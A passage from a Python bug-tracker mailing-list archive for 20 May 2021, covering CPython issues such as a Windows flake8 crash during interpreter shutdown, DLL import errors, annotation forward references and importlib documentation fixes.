11:11:02 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 20 May 2021 15:11:02 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1621523462.38.0.107949223757.issue38820@roundup.psfhosted.org> miss-islington added the comment: New changeset 36843f716df7cfa67ea7cd858acb0df1fc5e980e by Miss Islington (bot) in branch '3.10': bpo-38820: Test with OpenSSL 3.0.0-alpha17 (GH-26266) https://github.com/python/cpython/commit/36843f716df7cfa67ea7cd858acb0df1fc5e980e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 11:20:27 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 20 May 2021 15:20:27 +0000 Subject: [issue44187] Implement infrastructure for quickening and specializing In-Reply-To: <1621509319.67.0.0822328288042.issue44187@roundup.psfhosted.org> Message-ID: <1621524027.82.0.679632079482.issue44187@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- nosy: +BTaskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 11:22:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 15:22:46 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621524166.54.0.839489629501.issue44099@roundup.psfhosted.org> STINNER Victor added the comment: See also https://discuss.python.org/t/define-module-constants-in-pymoduledef/5749 ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:22:02 2021 From: report at bugs.python.org (=?utf-8?q?Luis_Gonz=C3=A1lez?=) Date: Thu, 20 May 2021 16:22:02 +0000 Subject: [issue44191] Getting an ImportError DLL load failed while importing _ssl Message-ID: <1621527722.25.0.757236958787.issue44191@roundup.psfhosted.org> New submission from Luis Gonz?lez : Good morning everyone. First of all, I would like apologize for my poor english. I'm a very newby programming in python. I'm getting an ImportError DLL load failed while importing _ssl. Can't find _ssl.pyd, from my EXE file created by de sentence "Python setup.py py2exe". The file _ssl.pyd, is at the same folder than the .exe file. Thanks in advance. ---------- assignee: christian.heimes components: SSL messages: 394033 nosy: christian.heimes, lnegger priority: normal severity: normal status: open title: Getting an ImportError DLL load failed while importing _ssl type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:26:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 16:26:11 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621527971.68.0.950532368477.issue44184@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: deferred blocker -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:43:20 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 16:43:20 +0000 Subject: [issue44191] Getting an ImportError DLL load failed while importing _ssl In-Reply-To: <1621527722.25.0.757236958787.issue44191@roundup.psfhosted.org> Message-ID: <1621529000.14.0.273379016938.issue44191@roundup.psfhosted.org> Christian Heimes added the comment: py2exe is a third party tool and not maintained by Python core development. Please use resources at http://www.py2exe.org/ to get help, e.g. issue tracker https://github.com/py2exe/py2exe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:55:19 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 16:55:19 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621529719.28.0.667736580279.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Is b02ba019e16f7c156ec63c2ea05c627a0fe86c48 the correct commit? I cannot checkout this: ? git clone https://github.com/pycqa/pyflakes Cloning into 'pyflakes'... remote: Enumerating objects: 2651, done. remote: Counting objects: 100% (53/53), done. remote: Compressing objects: 100% (34/34), done. remote: Total 2651 (delta 27), reused 28 (delta 15), pack-reused 2598 Receiving objects: 100% (2651/2651), 905.17 KiB | 10.40 MiB/s, done. Resolving deltas: 100% (1774/1774), done. /tmp ? cd pyflakes pyflakes on ? master ? pyenv 3.9.1 ? git checkout b02ba019e16f7c156ec63c2ea05c627a0fe86c48 fatal: reference is not a tree: b02ba019e16f7c156ec63c2ea05c627a0fe86c48 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:56:28 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 16:56:28 +0000 Subject: [issue41318] Better error message of "Cannot recover from stack overflow." In-Reply-To: <1594957263.52.0.457195944754.issue41318@roundup.psfhosted.org> Message-ID: <1621529788.04.0.680936698226.issue41318@roundup.psfhosted.org> Irit Katriel added the comment: I am unable to reproduce the error with your code on 3.11. It could be that recent changes in recursion handling fixed this case. As I mentioned on the PR, adding this to the error message can make it even more confusing because this is not the only scenario in which this error can show up. I'm closing this issue for the two reasons mentioned above. ---------- nosy: +iritkatriel resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 12:57:09 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 16:57:09 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621529829.68.0.591589560989.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: ah sorry, the branch got squash-merged this is the equivalent revision after the merge: f3b1b44bf3d2d5927004fa1c2fcf1ab2def816b9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:01:23 2021 From: report at bugs.python.org (ReOb) Date: Thu, 20 May 2021 17:01:23 +0000 Subject: [issue44192] Annotations, Inheritance and Circular Reference Message-ID: <1621530083.02.0.0042523880734.issue44192@roundup.psfhosted.org> New submission from ReOb : Basically, I have: ``` class Base: _sub: list[Sub] class Sub: _parent: Base ``` What creates a circular reference. It could be solved doing: ``` class Sub: pass class Base: _sub: list[Sub] class Sub: _parent: Base ``` But in the annotation, I will get the class Sub without his annotations, methods and properties (the first definition is not updated in annotation after the redefinition). Then, I suggest one of three possible solutions: 1. Update the reference to class in annotations if the class was redefined 2. Add a way to forward declaration (it could be implemented by a new reserved word "forward") 3. Or, like Ruby, make that the redefinition of a class, open the class to change the definition of class, including new methods, properties and annotations. It is very important to have the correct type in annotation, because we use this type to create new objects dinamically, but actually is impossible to solve this problem because we can not have the correct definition at both classes: Base and Sub class. When we use the type annotated to create a new object, as it is, we loose the annotations, methods and properties defined at the redefinition of the class. This problem occurs only if we use annotations. Like Python added the possibility to define annotations, needs to provide one of these solutions pointed (or another) to solve problems like this. If the decision was to implement a forward reserved word, it could be solved doing: ``` class Sub: forward class Base: _sub: list[Sub] class Sub: _parent: Base ``` If the first or third solution was preferred this code will work: ``` class Sub: pass class Base: _sub: list[Sub] class Sub: _parent: Base ``` I hope Python could implement one of these solutions to provide a better support for annotations, because actually what we have are two classes, with the same name, that walks like a duck, swim like a duck, sound like a duck but they are not the same duck, and they should be. The framework that we are developping depends strongly that we could get the correct type from annotation to create the correct object based on this. I hope it could be handled as soon as possible, because change the definition to another class that was a super class of both classes (Base and Sub, in this example) will not permit us to know the correct class to create another object dinamically and probabily we will need to create a hack to handle this, making the code less Pythonic. Thanks. ---------- components: Parser messages: 394038 nosy: lys.nikolaou, pablogsal, reob-info priority: normal severity: normal status: open title: Annotations, Inheritance and Circular Reference type: resource usage versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:09:59 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 17:09:59 +0000 Subject: [issue44192] Annotations, Inheritance and Circular Reference In-Reply-To: <1621530083.02.0.0042523880734.issue44192@roundup.psfhosted.org> Message-ID: <1621530599.8.0.205875297817.issue44192@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:12:52 2021 From: report at bugs.python.org (Ammar Askar) Date: Thu, 20 May 2021 17:12:52 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621530772.59.0.0157097320012.issue44184@roundup.psfhosted.org> Ammar Askar added the comment: Can recreate on the latest 3.10 checkout, taking a look. ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:21:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 17:21:03 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621531263.44.0.77445119664.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: Where does flake8.exe come from? Is it created by pip? Or by Python? Is it part of the flake8 project? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:22:17 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 17:22:17 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621531337.57.0.726537876846.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: vstinner I showed the directions above, but here they are again: venv\Scripts\pip install flake8==3.6.0 venv\Scripts\pip install -e . --no-deps # ignore the conflict, but fix pyflakes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:23:37 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 17:23:37 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621531417.38.0.98238949697.issue44184@roundup.psfhosted.org> Shreyan Avigyan added the comment: This is a flake8 error not tox error. Though if it was a complete flake8 error then it would fail in all Python. But it only fails in 3.10 (don't know about 3.11 because haven't tested it yet.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:52:19 2021 From: report at bugs.python.org (Joshex) Date: Thu, 20 May 2021 17:52:19 +0000 Subject: [issue44193] socket line 46 import _socket Import Error Message-ID: <1621533139.32.0.125494258186.issue44193@roundup.psfhosted.org> New submission from Joshex : I assume someone has already fixed this problem, as I am using a very old version of python compatible with my version of blender. Though after searching, I found results for the same error message only a month or 2 ago. anyways, my version of python 2.6.2 is out of support. but I assume if this has recently been fixed for more recent python modules, the same sort of fix could be applied to my install. The problem is, I am on 64 bit windows 7 with 64 bit python 2.6.2 installed to use blender 2.49b. I have a 32 bit computer and verified the error does not appear when importng the socket module there! only on my 32 bit computer., I tried uninstalling 64 bit python from C:\Python26 and reinstalling to C:\Program Files (x86)\Python26. I have updated the system environment variables, to include this in the python path. and I still get "C:\Program Files (x86)\Python26\LIB\socket.py", line 46, in import _socket ImportError: DLL load failed: %1 is not a valid Win32 application I would be happy if someone remembered the fix for this so I could apply it myself. ---------- messages: 394043 nosy: Joshex priority: normal severity: normal status: open title: socket line 46 import _socket Import Error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 13:54:04 2021 From: report at bugs.python.org (Joshex) Date: Thu, 20 May 2021 17:54:04 +0000 Subject: [issue44193] socket line 46 import _socket Import Error In-Reply-To: <1621533139.32.0.125494258186.issue44193@roundup.psfhosted.org> Message-ID: <1621533244.48.0.405697234047.issue44193@roundup.psfhosted.org> Joshex added the comment: sorry: edit, it only appears on my 64 bit computer ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:00:21 2021 From: report at bugs.python.org (Steve Stagg) Date: Thu, 20 May 2021 18:00:21 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621533621.55.0.580567921409.issue44184@roundup.psfhosted.org> Change by Steve Stagg : ---------- nosy: +stestagg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:02:01 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 20 May 2021 18:02:01 +0000 Subject: [issue38671] pathlib.Path.resolve(strict=False) returns relative path on Windows if the entry does not exist In-Reply-To: <1572774931.11.0.993470333259.issue38671@roundup.psfhosted.org> Message-ID: <1621533721.08.0.159541962425.issue38671@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24874 pull_request: https://github.com/python/cpython/pull/26270 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:02:01 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 20 May 2021 18:02:01 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1621533721.23.0.894183705267.issue43757@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24875 pull_request: https://github.com/python/cpython/pull/26270 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:07:38 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 18:07:38 +0000 Subject: [issue36203] PyWeakref_NewRef docs are misleading In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org> Message-ID: <1621534058.77.0.40725968511.issue36203@roundup.psfhosted.org> Irit Katriel added the comment: Please add unit tests to the patch. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:20:37 2021 From: report at bugs.python.org (Joshex) Date: Thu, 20 May 2021 18:20:37 +0000 Subject: [issue44193] socket line 46 import _socket Import Error In-Reply-To: <1621533139.32.0.125494258186.issue44193@roundup.psfhosted.org> Message-ID: <1621534837.23.0.774129885699.issue44193@roundup.psfhosted.org> Joshex added the comment: Same error when importing Tkinter it looks like any python module that tries to import a DLL fails because it forgets it should be looking for a 64 bit dll and instead goes looking for a 32 bit DLL and when it finds out it's 64 it throws a tantrum. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:33:01 2021 From: report at bugs.python.org (Joshex) Date: Thu, 20 May 2021 18:33:01 +0000 Subject: [issue44193] socket line 46 import _socket Import Error In-Reply-To: <1621533139.32.0.125494258186.issue44193@roundup.psfhosted.org> Message-ID: <1621535581.31.0.522559819995.issue44193@roundup.psfhosted.org> Joshex added the comment: LOL! the issue does not happen if I uninstall the 64 bit python install the 32 bit python and change the environment variables for the python path to the 32 bit folders. so it's a problem with 64 bit python. good thing I have the 32 bit as a backup. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 14:35:14 2021 From: report at bugs.python.org (Ammar Askar) Date: Thu, 20 May 2021 18:35:14 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621535714.28.0.721004496657.issue44184@roundup.psfhosted.org> Ammar Askar added the comment: The segfault seems to be occuring on typeobject.c:1456 during interpreter finalization: if (type->tp_flags & Py_TPFLAGS_HEAPTYPE && !(base->tp_flags & Py_TPFLAGS_HEAPTYPE)) where `type` seems to have already been deallocated. Here's the stack trace: python310.dll!subtype_dealloc(_object * self) Line 1456 C [Inline Frame] python310.dll!_Py_Dealloc(_object *) Line 2288 C [Inline Frame] python310.dll!_Py_DECREF(_object *) Line 500 C [Inline Frame] python310.dll!_Py_XDECREF(_object * op) Line 567 C > python310.dll!dict_dealloc(PyDictObject * mp) Line 2067 C [Inline Frame] python310.dll!_Py_Dealloc(_object *) Line 2288 C [Inline Frame] python310.dll!_Py_DECREF(_object *) Line 500 C python310.dll!ast_clear(AST_object * self) Line 784 C python310.dll!delete_garbage(_ts * tstate, _gc_runtime_state * gcstate, PyGC_Head * collectable, PyGC_Head * old) Line 1018 C python310.dll!gc_collect_main(_ts * tstate, int generation, __int64 * n_collected, __int64 * n_uncollectable, int nofail) Line 1304 C [Inline Frame] python310.dll!_PyGC_CollectNoFail(_ts *) Line 2123 C python310.dll!interpreter_clear(_is * interp, _ts * tstate) Line 326 C [Inline Frame] python310.dll!_PyInterpreterState_Clear(_ts *) Line 358 C python310.dll!finalize_interp_clear(_ts * tstate) Line 1639 C python310.dll!Py_FinalizeEx() Line 1813 C [Inline Frame] python310.dll!Py_RunMain() Line 668 C [Inline Frame] python310.dll!pymain_main(_PyArgv *) Line 696 C python310.dll!Py_Main(int argc, wchar_t * * argv) Line 708 C ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:03:34 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Thu, 20 May 2021 19:03:34 +0000 Subject: [issue44194] Folding ''.join() into f-strings Message-ID: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> New submission from Batuhan Taskaya : Since strings are immutable types, we could fold some operation on top of them. Serhiy has done some work on issue 28307 regarding folding `str % args` combination, which I think we can extend even further. One simple example that I daily encounter is that, there is this pattern '/'.join([something, something_else, user_arg]) where people would join N number of elements together with a separator, where the N is something that we know. Just a search over some locally cloned PyPI projects (a couple thousand, showed 5000+ occurrences where this optimization applies). The preliminary benchmarks indicate that the speedup is about %40. Though there are multiple issues that might concern others: - type checking, f-strings cast automatically but .join() requires each element to be a string subclass. The current implementation introduces a new conversion called 'c' which actually does the type checking instead of converting the value. - preventing a call to a runtime function, I belive that this work is not that different than issue 28307 which prevents str.__mod__ though I understand the concern Here is the implementation if anybody wants to take a look at it: https://github.com/isidentical/cpython/commit/d7ea8f6e38578ba06d28deb4b4a8df676887ec26 I believe that the implementation can be optimized further (etc if a continuous block of elements are a string, then we can load all of them in one go!). And some cases proved that the f-strings might be faster than the join by 1.7-1.8x. ---------- messages: 394049 nosy: BTaskaya, eric.smith, pablogsal, serhiy.storchaka priority: normal severity: normal status: open title: Folding ''.join() into f-strings _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:19:10 2021 From: report at bugs.python.org (Steve Stagg) Date: Thu, 20 May 2021 19:19:10 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621538350.13.0.229462542133.issue44184@roundup.psfhosted.org> Steve Stagg added the comment: I've found that it's reproducible if you run flake8 on a file that just contains: `a.b` whereas: `a` and `a(b)` don't seem to trigger the error. The object being cleaned up when the segfault appears, seems to be a subclass of ast.AST ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:19:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 19:19:35 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621538375.11.0.275777955483.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Given how hairy finding these GC errors is, I would recommend to bisect this so we can trim down the search to some commit, although my bet is some of the heap type conversions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:19:52 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 19:19:52 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented Message-ID: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> New submission from Filipe La?ns : 7f7e706d78ab968a1221c6179dfdba714860bd12 introduced the files() api and documented a importlib.abc.TraversableReader protocol, but it did not implement it. This class is documented and marked as introduced in 3.9, but it's actually missing. ---------- messages: 394052 nosy: FFY00, brett.cannon, jaraco priority: normal severity: normal status: open title: importlib.abc.TraversableReader is not implemented type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:20:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 19:20:02 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621538402.79.0.242133019063.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also, why this doesn't happen on Linux? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:27:31 2021 From: report at bugs.python.org (David Edelsohn) Date: Thu, 20 May 2021 19:27:31 +0000 Subject: [issue40092] Crash in _PyThreadState_DeleteExcept() at fork in the process child In-Reply-To: <1585329415.65.0.534969367772.issue40092@roundup.psfhosted.org> Message-ID: <1621538851.45.0.637015846641.issue40092@roundup.psfhosted.org> Change by David Edelsohn : ---------- nosy: +David.Edelsohn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:30:01 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 19:30:01 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621539001.74.0.657992342429.issue44195@roundup.psfhosted.org> Change by Filipe La?ns : ---------- keywords: +patch pull_requests: +24876 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26271 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:34:02 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 19:34:02 +0000 Subject: [issue42022] Allow ensurepip to work without bundled wheels In-Reply-To: <1602535430.83.0.251660396877.issue42022@roundup.psfhosted.org> Message-ID: <1621539242.45.0.616114164926.issue42022@roundup.psfhosted.org> Filipe La?ns added the comment: Closing as the new --with-wheel-pkg-dir option provides an alternative mechanism. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 15:42:10 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 19:42:10 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError Message-ID: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> New submission from Filipe La?ns : ResourceReader used to have this requirement, Traversable does not. We cannot add a requirement as there might be users not doing this, but we can ask new users to do so. We should document that FileNotFoundError should be raised if a file is not found, but that it is not guaranteed that it will for all Traversable implementations for compatibility reasons. ---------- assignee: docs at python components: Documentation messages: 394055 nosy: FFY00, brett.cannon, docs at python, jaraco priority: normal severity: normal status: open title: Document that importlib.abc.Traversable's methods should raise FileNotFoundError versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:06:11 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 20:06:11 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621541171.29.0.298680674823.issue44195@roundup.psfhosted.org> Change by Filipe La?ns : ---------- pull_requests: +24877 pull_request: https://github.com/python/cpython/pull/26272 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:06:31 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 20:06:31 +0000 Subject: [issue44196] Document that importlib.abc.Traversable's methods should raise FileNotFoundError In-Reply-To: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org> Message-ID: <1621541191.94.0.692268434465.issue44196@roundup.psfhosted.org> Change by Filipe La?ns : ---------- keywords: +patch pull_requests: +24878 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26272 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:08:43 2021 From: report at bugs.python.org (Maxwell Bernstein) Date: Thu, 20 May 2021 20:08:43 +0000 Subject: [issue36203] PyWeakref_NewRef docs are misleading In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org> Message-ID: <1621541323.8.0.128621463772.issue36203@roundup.psfhosted.org> Change by Maxwell Bernstein : ---------- pull_requests: +24879 pull_request: https://github.com/python/cpython/pull/26273 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:15:09 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 20:15:09 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621541709.23.0.93834004342.issue43882@roundup.psfhosted.org> Ned Deily added the comment: New changeset c723d5191110f99849f7b0944820f6c3cd5f7747 by Senthil Kumaran in branch '3.7': [3.7] bpo-43882 - Mention urllib.parse changes in Whats New section for 3.7.11 (GH-26267) https://github.com/python/cpython/commit/c723d5191110f99849f7b0944820f6c3cd5f7747 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:16:19 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 20:16:19 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621541779.42.0.922365781884.issue43882@roundup.psfhosted.org> Ned Deily added the comment: New changeset 6f743e7a4da904f61dfa84cc7d7385e4dcc79ac5 by Senthil Kumaran in branch '3.6': [3.6] bpo-43882 - Mention urllib.parse changes in Whats New section for 3.6.14 (GH-26268) https://github.com/python/cpython/commit/6f743e7a4da904f61dfa84cc7d7385e4dcc79ac5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:18:58 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 20:18:58 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621541938.27.0.157179718898.issue43882@roundup.psfhosted.org> Ned Deily added the comment: Thanks, Senthil and Greg! The updates for 3.7 and 3.6 are now merged. Is there anything else that needs to be done for this issue or can it now be closed? ---------- priority: release blocker -> high resolution: fixed -> stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:20:44 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 20:20:44 +0000 Subject: [issue44169] Add HTTPS support to http.server In-Reply-To: <1621333358.88.0.804428492297.issue44169@roundup.psfhosted.org> Message-ID: <1621542044.63.0.556971419203.issue44169@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Make http.server support SSL _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:22:25 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Thu, 20 May 2021 20:22:25 +0000 Subject: [issue44126] Support cross-compiling of cpython modules using setuptools In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621542145.79.0.118542215624.issue44126@roundup.psfhosted.org> Jeff Moguillansky added the comment: Is it possible to add support for cross-compiling of cpython modules to setuptools? It seems that currently there's some 3rd party solutions like "crossenv" but they don't seem to work with clang / ndk-toolchain for example. ---------- status: closed -> open title: Cross Compile CPython Modules -> Support cross-compiling of cpython modules using setuptools _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:24:45 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 20:24:45 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1621542285.24.0.245582400281.issue40222@roundup.psfhosted.org> STINNER Victor added the comment: Mark: Can you please document your change on types.CodeType? In: * https://docs.python.org/dev/library/types.html#types.CodeType * https://docs.python.org/dev/whatsnew/3.11.html The change broke the Genshi project: https://github.com/edgewall/genshi/issues/43 in this Genshi function: def build_code_chunk(code, filename, name, lineno): params = [0, code.co_nlocals, code.co_kwonlyargcount, code.co_stacksize, code.co_flags | 0x0040, code.co_code, code.co_consts, code.co_names, code.co_varnames, filename, name, lineno, code.co_lnotab, (), ()] if hasattr(code, "co_posonlyargcount"): # PEP 570 added "positional only arguments" params.insert(2, code.co_posonlyargcount) return CodeType(*params) ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:26:22 2021 From: report at bugs.python.org (latot) Date: Thu, 20 May 2021 20:26:22 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition Message-ID: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> New submission from latot : Hi, some time ago I was looking for a function in itertools, actually, the combination functions allow us to have or not repetitions of element, have in consideration that if we allow repetitions there can be any amount of them, no way to limit the number of repetitions. Here I asked in stackoverflow about this if there is a lib or option, in the end we wasn't able to found any about this and there was an answer with the solution. I think this solution worth to be added to itertools, conceptually, the actual 2 functions of combinations are particular cases of this function. https://stackoverflow.com/questions/67559105/combinatory-with-n-picked-elements-and-limited-repetitions-in-python/67559625 Well, there can be a extension of this too, where we can say, "how many times every particular element can be repeated". Both of this things world be useful. Thx. ---------- components: Library (Lib) messages: 394061 nosy: latot priority: normal severity: normal status: open title: [request feature] Itertools extended combinations to limited number of repetition _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:33:55 2021 From: report at bugs.python.org (Gregory P. Smith) 